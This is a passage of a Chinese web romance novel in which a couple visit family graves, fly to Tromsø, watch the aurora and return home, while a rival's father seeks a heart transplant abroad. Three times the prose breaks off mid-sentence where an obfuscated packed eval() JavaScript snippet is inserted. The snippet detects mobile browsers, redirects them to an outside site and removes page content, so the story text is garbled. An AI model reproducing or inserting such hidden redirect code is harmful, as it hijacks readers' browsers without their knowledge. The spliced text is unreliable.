终于到了,晏迎抱着花下车,呼吸了一口山上清新的空气,有些郁闷的心情也好了不少。 晏远熟门熟路地走在前面:“姐,陵园小卖部的老板是不是换人啦?我记得原先是个老头啊?” “嗯,老板的腿脚不方便了,就把小卖部交给儿子经营了。” 季品诚第一次来,他环顾四周,觉得这里很空旷,也很凄凉,不远处火化的小房子里,还有低低的哭声传来。 阿比有些害怕,把脸埋在了季品诚的怀里,只露出一双圆溜溜的大眼睛。 季品诚摸摸阿比的头,对它轻声道:“不要害怕啊,阿比,我们只是去见亲人而已。” 晏迎听到了他的话,脚步不自觉地停了下来,冲他回头笑:“你说的对,我们是去见亲人,这应该是一件开心的事情,不能哭丧着脸。” 按照这里的习俗,烧完纸钱之后,还要放一箱鞭炮。 晏迎点鞭炮的时候手还有点哆嗦,天冷是一个原因,另外一个是今天风有些大,她怎么也点不上去。 其实她也怕鞭炮炸到自己,小时候点烟花的时候就不小心炸到过自己的眼睛。 一只手扶稳了她的手,季品诚弯腰,用身体挡着吹来的风,成功点燃。 晏远捂着阿比的耳朵,晏迎捂着晏远的耳朵,季品诚在晏迎身后伸手捂住了她的耳朵。 晏迎想和他说自己不害怕的,但她笑了笑还是算了。 他的手干燥温暖,可以给她暖暖耳朵也是不错的。 更重要的是,她不想辜负他的好意。 鞭炮噼里啪啦震天响,阿比把头埋在了晏远的怀里。 晏迎笑着说:“胆小鬼阿比!以后再也不叫你阿比大王了!” 晏迎心中的阴霾忽然慢慢消散,最爱的人就在身边,更重要的是,珍惜眼前人。 爸爸妈妈,晏迎在心里默默地说,我和小远现在都过得很好,请你们放心。 放心我们,能够凭借自己,游过人生海海。 51. 51 过完年,季品诚便把做好的北欧旅游计划以ppt和表格的形式各发了一份给晏迎审批。 晏迎看到一半就关掉了电脑:“太详细了吧季老师,我就跟着你这么走,不用带脑子想下一步要干什么,只管感受风景就行了。” “你还没看完,万一后面不喜欢呢?” 晏迎笑了,直摇头道:“不会不会你放心,我这个人对旅游其实蛮佛系的。” 说到这个,晏迎凑过去看着他道:“我就是因为太佛系了,季老师,不以打卡为目的,只以体验感为第一,我可能到时候会有点自由散漫,不按照你的旅游计划来…” 季品诚叹了一口气,拿过她的无线鼠标滑到了文档的最后一页。 晏迎看到了最后一行的加粗斜体红字,笑出了声。 “以上计划A、计划B和计划C仅供参考,具体行程以女朋友的愉悦感为主要目的,任何计划可随时更改,不必条条履行。” 季品诚揉揉她的头发:“我就说应该看到最后一页吧。” 晏迎把季品诚做的旅游攻略ppt发给晏远看。 “小远!你看你姐夫做的旅游攻略多变态,足足三十页,有三个主计划和多个应急子计划组成(笑哭jpg)” 晏远正在房间里吃辣条,手上都是辣椒油,不方便打字,她语音回复道:“姐,这多正常啊,你是没见过姐夫做的专业课ppt,那才叫惨绝人寰呢!对了!你们要去北欧玩!我也要去!带我一个!” 几分钟后,晏远也收到了一条语音消息。 不是晏迎的声音,是季品诚的。 “晏远,我计划的行程安排里暂时没有考虑到你的加入,不过你放心,作为你的老师和姐夫,我不可能忘掉你,我这里有一个西班牙穆查丘斯罗克天文台的游学机会,那里有北半球最先进的天文仪器,我觉得很适合你去参观和学习,如果你想去,我现在就可以给你联系,游学费用和游玩费用我全包。” 啧啧,晏远嚼着辣条,感叹季品诚为了不让自己当电灯泡真的是下了血本了。 她回复了一个“OK”的表情包过去,然后洗干净手,打开衣柜挑选要带去穿的衣服。 这次去西班牙,一定要去尝尝海鲜烩饭和青口贝。 晏远这里解决了,季品诚把目光投向正在玩球的阿比大王,带小狗去显然不现实,他准备把阿比寄养给附近一家专业的犬舍一周。 晏迎摸了摸阿比的头,对季品诚叹气:“一周之后阿比会不会忘记咱们两个?” 季品诚真诚道:“晏迎,阿比是小,不是傻。” 坐在飞机上的时候,晏迎觉得自己还在做梦。 季品诚拿了一个U形枕给她示意她可以在飞机上好好睡一觉。 “某人昨天晚上像是得了小学生春游综合症一样兴奋了一整个晚上,现在好好睡一觉吧。” 晏迎握住他的手,还是很兴奋:“今年我们真的赶上看极光的好时候了吗!” 季品诚被她的笑容所感染,微笑回答道:“嗯,今年是极光大年,因为太阳活动正处于一个高峰期,极光会更加活跃。” 晏迎靠在他的肩膀上,晃了晃他的手:“季老,师,你会预测极光什么时候出现吗?” 季品诚被他给逗乐了:“我又不是钦天监,夜观天象就能推测出极光的具体时间,肉眼虽然也可以根据环境观察和传统经验进行推测,但准确度远远低于专业的极光预报。” 他换了一个姿势,让晏迎更舒服地靠着自己:“你放心,我到时候会去一个叫AuroraForecast的网页查询当地的实时kp值和覆盖范围,一定不会让你错过极光的出现。” 反正现在也睡不着,或许听他讲讲天文知识还能更催眠一点。 拜托拜托,现在给她普及天文知识的还是国内天文专业有名的季教授。 晏迎摆出一副求知若渴的样子看着他:“季老师,什么是kp值啊,这玩意和极光有什么关系?” 季品诚心里闪过一丝小小的惊讶:“你怎么突然对这些感兴趣了?” 换做是以前,晏迎只要可以确保自己可以看到极光就可以了,才不会去管这些有的没的。 晏迎笑着捏捏他的手指:“作为季教授的家属,怎么可以什么都不懂呢,而且能和你有共同语言我也很高兴。” 她都这么说了,季品诚也乐意为她解答:“kp值是衡量地值活动的指标,范围从零到九,数字越大表示地磁的活动越强。” 晏迎觉得困意慢慢上来了,但还不明显,她点点头:“嗯,季老师你继续说。” “极光的出现与太阳风带来的带电粒子进入地球的磁场有关,这些粒子与大气层中的气体分子进行碰撞,产生极光。所以当kp值越高的时候,说明有更多的粒子进入了极区,导致极光更强烈,可见范围更广。” “kp值越高的情况下,极光带的范围会像低纬度扩展,kp值较低时,极光范围会出现在北极圈内的高纬度地区,我们去的第一站是挪威特罗姆瑟,kp值大于等于三的时候,极光就会在当地时间晚上十点到凌晨两点左右覆盖特罗姆瑟。” 季品诚讲完之后,就听到了晏迎均匀的呼吸声,他侧目去看,她已经睡着了。 他失笑,自己讲专业知识有那么催眠吗,刚刚还特别有精神气的人,听自己讲了不到十分钟就睡得香甜安稳。 看来以后晏迎晚上再缠着自己说失眠了怎么也睡不着的时候,他就给她从太阳系开始讲起。 晏迎醒过来的时候,飞机已经到达了慕尼黑。 她擦擦嘴角的口水,迷迷糊糊地冲季品诚问道:“我睡了多久?” 季品诚的笑声在她头顶响起:“十二个小时,这位女士,你真的非常能睡,并且睡眠质量很好,四个小时前飞机遇到了一次小小的颠簸,附近小孩的哭闹声也没有能把你吵醒。” 一颗巨酸的柠檬糖送到晏迎嘴边,她被酸得打了一个激灵,脑子也清醒多了。 这糖被她咯嘣一声咬碎,吃下去的时候酸味直接把胃打开了。 好饿啊。 “我居然睡了这么久?我们现在到哪里了?” “慕尼黑的机场,我们接下来要从慕尼黑进行转机,从慕尼黑到特罗瑟姆只需要三个小时的飞行里程。” 晏迎舒服地伸了个懒腰:“季老师,我现在睡饱了,就是肚子有点饿了。” 这些都在季品诚的计划范围之内,他的声音很冷静,详细和晏迎讲着接下来的行程时,总让晏迎觉得无比安心。 “现在离慕尼黑起飞特罗姆瑟还有三个多小时,我们有充足的时间去Airbaru啤酒餐厅吃顿晚饭。” Airbaru啤酒餐厅是世界上唯一一所建立在机场内的酿酒厂,里面还有一个露天的啤酒花园,不少德国人都在花园里喝啤酒聊天。 他们进去的时候已经过了饭点,所以还额外省去了排队的时间。 菜单上面有德语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295319|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有英语,两个人开始一起研究要点些什么。 季品诚早就做好了攻略,给晏迎翻译和推荐,供她更好地选择。 最后他们点了两杯kuliner小麦啤酒,一个烤猪肘和一份巴伐利亚拼盘。 烤猪肘的味道还不错,烤得很酥脆,就是必须得配着巴伐利亚拼盘里的酸菜一起吃,要不然太容易腻歪了。 啤酒的味道倒是让晏迎很喜欢,尝得出来有麦芽的甜味,尾调又有清爽的苦味。 看来全世界都喜欢用猪肘子来做下酒菜,吃腻了再喝口酒吃口蔬菜。 晏迎放下刀叉,觉得特别满足。 他们电影明星一样的亚洲面容吸引了不少德国人对他们注目,附近的一桌女士询问他们是否是来这里蜜月旅行? 晏迎笑着抢答:“yes!” 季品诚愣了一下,然后也含笑附和。 他们收到了来自异国他乡的“新婚快乐。” 吃完之后季品诚问她:“你蜜月也想来这里吗?” 晏迎现在非常有精神,她冲季品诚露出一个大大的笑容,抬头吻了吻他的下巴:“到时候我们再计划吧,只要跟着你,去哪都好玩儿!” 毕竟他可比专业的导游都安排得井井有条,晏迎牵着他的手摇摇晃晃,逗他道:“季老师,你现在是我的导游,那我可不可以叫你季导?” 季品诚:“不行,我对这个称呼有阴影。” 晏迎不解:“啊?为什么呀?” “我手底下那帮研究生,只要一犯错,就会叫我导儿,季导儿,恩师…我现在光是想想就起鸡皮疙瘩。” 晏迎憋笑:“好吧好吧,我大概可以知道你的奔溃了。” “其实比上不足比下有余,对比其他研究生导师我还算好,我有次路过实验室,听到有学生喊他们的导师叫老登,当然了,是背地里偷偷喊的。” 季品诚“啧”了一下:“你说有没有可能他们背地里也这么喊我?” 一个坏主意在晏迎脑子里产生了,她冲季品诚笑着安慰道:“不会啦季老师,你那么年轻,那么帅气,学生们怎么可能用老登这个词来形容你?” “他们最多叫你小登哈哈哈哈哈。” 季品诚叹气:“幸好你不是我的研究生,要不然我感觉我是真的会被你气死。” “季老师,虽然我不是你的研究生,但是研究你却是我最乐意研究的课题没有之一。” 她继续冲他油嘴滑舌逗他开心道:“我要研究季品诚一辈子,以后还要写一篇论文发表在sci,论文的名字就叫《论如何攻略季品诚让他每天都开开心心》。” 或者也可以换一个名字,叫《和季品诚在一起的美好时光》。 季品诚觉得心间仿佛生长出来一条清澈的小溪,此刻正在源源不断地朝他输送着温暖。 他咳嗽一下,故作矜持道:“好啊,那你快点写,我要检查的。” 晏迎张大嘴巴:“啊?” 不儿?真写啊? 季品诚好像读懂了她的心声,弯弯唇角笑道:“当然要写了,我还要审阅、批注,修改,帮你早日在sci上面顺利发表。” 既然都说到这里了,晏迎便顺水推舟:“哦,那我现在就已经把论文最后的致谢给想好了。” “什么?” “咳咳,最后,我要感谢南城大学天文与空间科学学院的季品诚教授,感谢他选择我,走到我身边来,成为我相伴一生的爱人。” 52. 52 虽然挪威的英语普及率很高,但晏迎还是在飞机上学了几句挪威语。 抵达特罗瑟姆之后,他们选了市中心的海景房住宿,这也方便观测极光。 入住酒店后,晏迎就拉上了窗帘,洗了一个澡拉着季品诚一起睡觉。 他们现在的时差很乱,得要好好调整一下。 晏迎打了个哈切:“快点睡吧季老师,我可不想看极光的时候打盹。” 没人理她。 晏迎睁开眼睛看去,旁边的人已经睡着了。 她弯弯唇角,自己倒是舒舒服服在飞机上睡了一路,难为他又当导游又当翻译又当摄影,还要给她讲天文知识催眠。 她刚刚收到了晏远的消息,她也成功抵达西班牙了,现在在酒店吃着冰淇淋,精力旺盛到都不需要倒时差。 她翻身抱住季品诚的腰,悄悄摸了一把他睡衣之下的肌肉,这次出来旅游,该带的不该带的她都带了。 两个人醒过来的时候,已经是第二天的下午了。 秉持着“不以打卡为目的,体验感第一”的旅游原则,两个人都非常松弛。 反正只要彼此在身边,哪怕躺着聊会天都很快乐,不拘束非要去哪里。 午饭随便在酒店对付了一口意面和烤猪肋排,他们就出发去了第一站,特罗瑟姆的北极大教堂。 特罗瑟姆是世界上最北的城市之一,北极大教堂则是世界上最北的教堂,也是特罗瑟姆最显眼的存在。 不管是在飞机、轮船还是高高的山顶之上,都可以与这座富有设计感的教堂打个照面。 门票需要七十挪威克朗。 他们去的时候很巧,一对新人正在这里取景拍婚纱照。 晏迎有些向往:“不敢想象在这里拍出来的婚纱照会有多出片!” 新娘婚纱的洁白和窗外雪山的白接连在了一起,成为此刻无比静谧的大教堂里,最圣洁的存在。 北极大教堂响起舒缓的管风琴声,新娘在这悠扬的节奏里,和新郎接吻。 晏迎含笑,眼睛放光地看向他们,和周围路过的人一起送上祝福。 季品诚的目光凝在晏迎笑意盈盈的脸上,他的心似乎也被荡漾的管风琴声牵引,那旋律在他的脑海里回荡,让他想象晏迎穿上婚纱的模样。 那一定会是世界上最美丽的新娘,雪山都要逊色三分洁白,极光都比不上她眼底的光芒。 晏迎转头,发现季品诚在看自己,她冲他挑眉:“季老师,你在看什么呢?我脸上有什么东西吗?” 季品诚的心跳漏了一拍,他伸出手替她理了理头发:“嗯,你的头发刚刚被风吹乱了,我替你整理一下。” 他的手碰到她柔软的头发,有些微微颤抖。 晏迎低下眉眼轻笑,这人还是这么不会说谎。 算了,就不戳穿他了。 虽然没有可以在这里穿上婚纱拍照,但晏迎下午还是获得了很多张出片的照片。 不得不说,论一个会拍照的男朋友对提升旅游体验感的重要性。 晏迎非常感动地看着季品诚:“季老师,你不去当摄影真的是摄影界的损失,我要给你提名哈苏国际摄影奖。” 他们逛累了就去附近的特罗姆瑟图书馆坐会儿,眺望远方的雪山聊着天。 晏迎和他总有说不完的话,她很喜欢这样轻松的旅游。 “我这样松弛,会不会辜负季老师你详细列出的那么多旅游方案?” 温和的阳光之下,季品诚和她肩靠着肩,回答她的问题:“当然不会,所谓计划只不过是服务我们旅游体验感的产物,只要当下我们是快乐的,那一切便是值得的。” “季老师,这里的节奏好慢,我特别喜欢这里,可以长久地慢下来生活,冬天看这座城市被白雪覆盖,像是童话故事里面的冰雪世界。春天来的时候,看漫山遍野的冰雪一点一点地融化,潮湿的土地里开始生长出生机勃勃的绿芽,天是蓝的,湖水也是蓝的,站在高山上往下望,红色的、橙色的还有黄色的房子就像是开在碧绿草地上的花。” 她娓娓道来想象中挪威的春天,季品诚在她的话里露出一个温柔的微笑。 “你要是特别喜欢这里的话,我们可以每年都来旅游一次,退休之后,可以来这里定居。” 提到“退休”,晏迎就两眼一黑:“亲爱的季老师,现在都延迟退休了,咱们两个指不定多少年后才退休呢,等到我们两个退休,估计成路都走不动的老头老太太了,还不能挨冻受凉四处奔波,说不定来北欧逛一圈,老胳膊老腿都吃不消了,走三步路就要吃两颗药。” 季品诚笑出声来:“嗯,你说得也对。” 晏迎幽幽叹气:”诶,虽然活着不能来这里定居,但我想…想死后葬在这里。” “在欧亚大陆的世界尽头,给自己挑一块好点的风水宝地,最好身后能有连绵的雪山,到了晚上,我冰冷的墓碑还能被极光所照亮。冬天有雪花相伴,春天墓碑附近的土地上可以长满玫瑰和郁金香。” 晏迎其实对死亡没什么忌讳,人总归是要死的。 就像是一场狂欢的聚会总要结束,相逢即会别离,美好总会消散,人生逢于世,终有一日要和世界大声说拜拜。 墓碑不过是人在生死断裂处,画上的句号。 季品诚也不忌讳这些,他认真听她温和地描述着一切,突然在她耳边说道:“那你也带我走吧,我要和你埋在一起。” 不是因为喜欢冰雪,也不是因为想被世界最北边的极光照亮,只是因为想和她一直在一起,哪怕生命线在数十年后断裂,也要两座墓碑挨在一块儿,死后一起长眠。 晏迎在细碎的光影之下有些晃神,她定睛看向他认真的模样,觉得此刻天地间万籁俱寂,只余下缓慢的心跳声。 她冲季品诚扬了扬下巴,笑容恣意张扬:“好啊,到时候我们长眠在一片寂静的土地里,鲜花和小草以我们为肥料,代替我们在这个世界上继续呼吸,可我会一直缠着你,和你说上几百年,几千年,甚至几万年的话,直到宇宙大爆炸。” 这样好的午后阳光,太适合借着胡言乱语说些真心话了。 季品诚和她头挨着头,只觉得人生美好,不想时间退后,也不想时间向前,就停留在此刻最好。 “晏迎,就算宇宙大爆炸了,我也会找到你。” 晚上的时候,他们把一切都准备好了,靠在一起等待极光的出现。 雪地的帐篷里,是真的很冷。 晏迎穿着防风防水的冲锋衣,戴着厚厚的护耳帽和并指手套,围巾把她的脸遮了大半,包裹得就像是一个粽子。 季品诚弯腰,给她的雪地靴上套上了防滑鞋套。 晏迎的声音从围巾里发出来:“季老师,为什么要穿鞋套呀?” “怕你摔倒,毕竟某人不是说过要在极光下跳舞的吗,穿上防滑鞋套可以减少某人一个旋转就脸着地摔在雪堆里的可能性。” 晏迎本身就有点体寒,她卷缩成一团抱住他:“还是好冷啊季老师。” 季品诚拿自己的脸贴了贴她的脸,确实温度比自己低得多。 晏迎瓮声道:“唉,我真的是又菜又爱玩,一点都不抗冻还要来北欧玩。” “没事,”季品诚摸摸她的头,给她想着解决的办法,“我去拿几片暖宝宝给你贴在身上。” 季品诚带了很多暖宝宝,可以用来贴人,也可以用来给相机的备用电池保温。 他撕开两个贴在晏迎的手套里,然后脱下她的鞋子贴在了脚底。 晏迎把自己的冲锋衣往上卷了卷,用眼神示意小肚子的地方也要贴。 再冻一冻,她觉得自个真的要宫寒了。 季品诚拿出一个保温杯递给晏迎,她打开来喝了一口,就觉得自己又重新满血复活了。 是甜蜜的热巧克力,在这低温天气里给她带来温暖,喝下去的一瞬间,她感觉身体被一阵暖流包裹住。 太畅意了,晏迎舒服地哼着歌,她唱的是张韶涵的《欧诺拉》。 “神秘北极圈,阿拉斯加的山巅~” “谁的脸,出现在海角的天边~” “忽然的瞬间,在哪遥远的地点~” “我看见,恋人幸福的光点~” 极光的拍摄需要搭配广角镜头和长曝光,季品诚摆弄着三脚架和他的全画幅单反,听到晏迎欢快的歌声时,他停下了手上的动作,转头笑着朝她的方向望去。 特罗瑟姆宁静的夜晚,睛朗的天空里遍布繁星,那些星罗棋布的星光就像是来自宇宙的眼睛,在此时此刻随着季品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295320|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚的目光,一起望向了快乐唱歌的晏迎。 欧若拉,如果作为名字,是指古希腊的黎明女神,如果作为单独的单词,则是指极光。 晏迎误打误撞,在晴朗的夜空下,唱着《欧若拉》,期待着欧若拉。 季品诚调整好相机的角度,记录下了她唱歌的模样。 她是他的,坠入凡间的,欧若拉女神。 晏迎望着天上的星星唱的入迷,浑然没有察觉他在拍她。 她唱到了这首歌的尾声。 “魔力北极光,传说的预言~” “原来就是,恋人的眼光~” 她刚刚唱完这句歌词,就站起来惊呼道:“季老师!你快看!极光出现了!” 季品诚光顾着看她了,此刻被她提醒,才抬头向天空中望去。 世界在这一瞬间安静,两个人只是凝视着天空,沉默不语。 太美太壮观了。 绿色的极光就像是斯嘉丽绿裙上荡漾下来的丝绸,垂在幕布般的黑色夜空上轻柔地舞动。 银河横跨天际,北斗七星悬挂在极光的上方,宛如点缀在丝绸裙子上的钻石。 路面的积雪反射星光,形成星光照雪的景象,满地白雪,宛如钻石般闪烁。 晏迎屏住呼吸弯腰捧起一把积雪,隔着手套也能感受到冰凉。 她这才相信,这真的只是雪,而不是钻石满地。 季品诚的目光重新回到她的身上,带着温柔的笑意:“摄影已经准备好了,你不是要在极光下跳舞的吗,亲爱的晏迎小姐。” 晏迎冲他扬眉一笑,本来想慢点走,但还是忍不住小跑向他跑来。 季品诚想提醒她慢一点,但她的笑容在这景色的映衬之下太过美丽,让他一时失语。 等到他反应过来的时候,晏迎已经来到了他的面前,拥抱住了他。 他也伸出手紧紧将她拥抱住,她兴奋地语气在他耳边响起:“季老师,这实在是太美丽了,特别特别震撼。” 季品诚低下头吻吻她的额头,附和着她:“是啊,实在是太美丽了。” 他是在形容她。 晏迎并没有听出来,抬头冲季品诚笑道:“我才不要一个人在极光下面跳舞呢,这么有意义的事情,我要和你一起跳,我们跳华尔滋怎么样?” 这触及到季品诚的盲区了,他诚实地对她说:“我不会跳舞。” “没关系呀,”她摇摇头,“我带着你跳,动作不标准也没关系,你忘记我们的旅游原则啦,天大地大,我们的体验感最大,只要我们是快乐的,跳的好与坏都无所谓。” 这话,实在是言之有理,季品诚点点头,不愿再推脱:“好,那你带着我跳。” 该如何去形容这场舞? 黑色夜幕之下,极光和繁星是天然的舞台光,柔软晶亮的雪是纯白色的细砂为他们笨拙地舞步铺路。 他们没有观众,但此刻安静的天地万物,都无声地为他们见证着。 季品诚的脑子一片空空,只是跟着她的节奏和动作,看向她笑意盎然的脸。 她说:“又慢了半拍,季老师你好笨。” 季品诚嘴角微微上扬,低声道:“是啊,我好笨的。” 笨到现在,已经彻底离不开你了。 两个人都穿的厚厚的,动作笨拙如两只小熊在跳舞。 一个不小心,他们都同时脚滑,拥抱着跌倒在雪地上。 随后,不知道是谁先笑了,他们索性躺在洁白的雪堆里,一起大笑起来。 极光听见了他们的笑声,欧若拉女神也是。 幸福的光更加明亮了,照耀在他们的脸上。 晏迎凑近他,捧住了他的脸,她没有一下子吻上去,而是仔细看了看他的眉眼。 上面沾染上了一些碎雪,变得亮晶晶的,更加好看了。 好看圣洁到,让她不忍亵渎。 季品诚心跳加速,等待着他的欧若拉女神亲吻,可她只是看着他傻笑。 他等待不了了,索性慢慢靠近她,在她眨着眼睛闭眼的瞬间,吻了上去。 两个人的心跳隔着胸腔,隔着厚厚的衣服,隔着寂静与喧闹,同频共振,合二为一。 晏迎觉得自己也成为了一粒雪花,融化在了这雪地里。 53. 53 看完一个晚上的极光,聊了一个晚上的天,清晨极光消散的时候,他们才拖着疲惫的身体回到了酒店。 洗了一个暖和的热水澡,晏迎一沾上枕头,就睡着了。 再次醒过来的时候,已经不知道今夕是何年。 季品诚醒的比她早,但也没有起床,他低低地笑声在她耳边响起:“起床吧,该吃午饭了,现在是挪威时间的中午十一点半。” 晏迎打了一个哈切:“才中午呀,我以为我睡了这么久都下午了呢。” 季品诚纠正她:“是第二天的中午。” 晏迎:“咱俩到底年轻睡眠质量好哈…” 中午他们去品尝了一家本地人热情推荐的餐厅,吃完之后晏迎拉着他的手,沿着一条积雪不多的小路散步。 远处就是湛蓝色的寂静海域,海风有些冷,晏迎紧紧挨着季品诚,在他耳边小声说:“今天我们晚上哪也不要去了吧,就在民宿吧。” 这和她爱玩的性子不符,季品诚好奇地问道:“是这几天玩累了想休息了吗?” 晏迎被他的不开窍气得跺了一下脚,雪粒子翻滚,覆盖在她的雪地靴上。 “不是啦,是……” 尽管这里没有人,但她的声音还是压得很低,让季品诚在特罗瑟姆的冬天里,一下子就红了脸。 晏迎抿唇:“你答应我的,说要以我的体验感为第一,我今天晚上就要体验。” 季品诚清清嗓子:“咳咳,行,我没说不答应你。” 最后剩下的几天,吃饱喝足,酒池肉林。 晏迎收拾行李的时候觉得自己带的够多了,但用起来,才发现远远不够。 季品诚摸摸她被汗水浸湿的脸,笑着说:“你来这里,就是为了体验这个?” 还有很多项目没玩呢,计划完全被打乱,但他们沉浸其中,毫不在意。 晏迎喝了口冰水润润嗓子,望向他的眼睛:“你不喜欢吗?” 季品诚就着她的手也喝了口水,低声回答,声音沙哑:“喜欢…” 他们回国的那天,晏远带着阿比来接机。 阿比见到晏迎的时候“汪汪汪”在机场叫得震天响,晏远被吵得受不了,一把捏住了它的嘴:“闭嘴阿比!你妈妈还有二十米就飞奔过来了,你再叫得大声一点天上的飞机都听见你的声音了。” 说完晏远就冲周围接机的人道歉:“对不起啊对不起…” 晏迎把阿比大王抱在怀里的时候,它倒是不汪汪汪大叫了,它舔着晏迎的脸,发出“呜呜呜”委屈的声音。 “哼!姐姐你别它迷惑了!你不家的时候它可劲拆家,现在你来了在你面前装可怜!” 晏迎对妹妹笑道:“算啦,我们阿比还只是一个小宝宝呢,是全世界最可爱乖巧懂事的比格犬。”、 阿比:“汪汪汪!” 晏远:“……” 季品诚:“……” 到家之后,晏迎拿出了他们给晏远带的礼物。 是一瓶红苹果味香水、一盒樱桃巧克力、一张全世界最北麦当劳的极光明信片、一盒薄荷清香味的极光茶还有几瓶鳕鱼鱼油和膳食补充剂。 晏远也给姐姐姐夫带了礼物。 一盒有着两百年历史的糖果店的限定牛轧糖、圣家堂的冰箱贴和情侣钥匙扣、手工香皂和一些护手霜唇膏之类的护肤品。 阿比在旁边急得上蹿下跳:“汪汪汪!” 晏迎从小狗零食柜里拿出一个罐头打开:“没带阿比的礼物就奖励阿比一个罐头吧。” 阿比:“呜呜呜!” 行李都收拾好了,晏迎躺在沙发上修图,准备发一组震撼的九宫格照片。 季品诚也有些累了,他坐在晏迎旁边,用自己的腿给晏迎当枕头。 晏迎很快就修好了图,配文:“特罗瑟姆的极光之旅结束!” 虽然文案没有秀恩爱,但照片在明晃晃地在秀。 九张照片里,三张是他们在极光之下亲吻拥抱,三张是在教堂里面头挨着头祷告,眼神含情脉脉地看向对方,最后三张则是吃喝日常,但也在暗戳戳地秀恩爱,比如美食背景之下干杯的手,用叉子卷起意面投喂的动作,还有靠在一起的两个北海道牛乳冰淇淋。 晏远迅速点赞,留言:“羡慕死我和阿比这两只单身狗了!” 晏迎:“嘿嘿,羡慕的是你吧,阿比只知道吃哈哈哈。” 维娜:“旅游回来啦!看来你们小情侣玩得很开心!” 晏迎:“是的!我给维娜姐你也带了惊喜,上班给你!” 接下来就是一些同事同学和合作伙伴的点赞。 晏迎刷新朋友圈,看见季品诚也发了一条一模一样的。 文案是很简单,就两个字“和她。” 她给季品诚点了一个赞,仰头看向他的脸:“季老师…我发现你旅游一趟回来,真的是越来越开窍了。” 季品诚笑着捏捏她的脸:“嗯,是咱们小晏老师教的好。” 季磊谦当然也刷到了她的这条朋友圈。 他冷着脸把每一张都放大仔细观看,他的脸色越阴沉,越显得照片里温馨美好的小情侣散发着刺眼的幸福光芒。 可恶…季磊谦觉得自己心里有一口气怎么也咽不下去,他又把照片重新看了一遍,把季品诚那张脸代入到了自己。 反正他们长得像,代入进去分分钟的事情。 季磊谦花了一秒钟,又重新开心起来。 她在极光里闭眼温柔亲吻的人,是他。 和她并肩在教堂神父面前祷告的人,是他。 一起喝酒,一起吃冰淇淋,一起在海边喂海鸥的人,也是他。 季磊谦弯弯唇角,心情畅快起来,他一边暗爽,又一边骂自己比狗还好哄。 就在他沉浸在自己的世界里时,响起了一阵紧急的敲门声。 季磊谦放下手机皱眉道:“进来。” 助理推门而入,神色焦急:“季少!老爷子心脏病又犯了,这次挺严重的,已经被局里的人送去抢救了,您快去医院看看吧。” 季磊谦赶到医院的时候,抢救室的灯还亮着。 季国明最近的心脏问题越来越严重了,但一直吃特效药和用药膳调理身体,表面上看上去还是不错的,他没想到这次会这么严重。 手术灯熄灭的时候,已经过去了一个小时。 季国明因为麻药的缘故还在昏睡着,医生摘下口罩擦了擦脸上的汗,冲季磊谦点点头:“这次手术还是很顺利的,这段时间您可以放心了。” 医生冲季磊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301070|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谦走近几步,示意他到办公室里来说话 门被关好,办公室的空调没有开,冷嗖嗖的,季磊谦莫名其妙有种不好的预感。 医生打开保温杯,喝了口水:“不过季局上个月已经和我提过换心手术的事情了,如果要真正地延长他的寿命,最好的方法就是进行换心手术,用年轻的,鲜活的心脏,来替换掉他那颗功能出现问题的心脏。” 季磊谦半开玩笑半认真道:“老爷子不会是要用我的心脏跟他进行交换吧?” 心脏一旦捐献,供体就无法存活。 只要老爷子有这个想法,那么季家今天就可以换主人了。 医生推推眼镜,笑道:“季少真是幽默,您是季局最得意的儿子,季家唯一的接班人,他怎么可能舍得用您的心脏呢?老爷子还在寻找合适的配源,后续的事宜他已经和我们沟通好了,您不必担心。” 季磊谦松了一口气,但不知道为什么,他还是觉得自己的心脏也在紧绷着:“陈主任的医术,我是放心的。” 陈医生笑着摇摇头:“南城的换心手术再厉害哪里厉害得过K国啊,老爷子一周后就会转去K国的外科医院,让世界上最顶尖的心外科专家为他进行心脏移植。” “而已…”陈医生话里有话,意味深长,“我国的心脏移植手术限制颇多,国外可就不一样了。” 季国明是在恢复了一周后坐上了前往K国的包机。 他临走前,把整个季家都交给了季磊谦。 老爷子走了,也不知道什么时候回来,季磊谦总觉得自己眼皮子在跳,像是没什么好事发生。 助理在一边劝道:“季少您是太担心季局的病情了,这几天没休息好才眼皮子跳得厉害的。” 过年的小长假修整完,晏迎和季品诚又重新投入到了忙碌的工作之中。 天文科研院组织了一次免费的体检,让全体科研人员都要参加。 季品诚从医院里出来的时候,收到了晏迎的消息:“季老师,你的体检结果怎么样?” 他把抽血处的棉花拿掉,扔在医用垃圾桶里,回复道:“身体各方面一切都挺好的,没问题。” “嘿嘿那就好!不过我最近看你工作太忙都瘦了呢,得要好好补一补。” 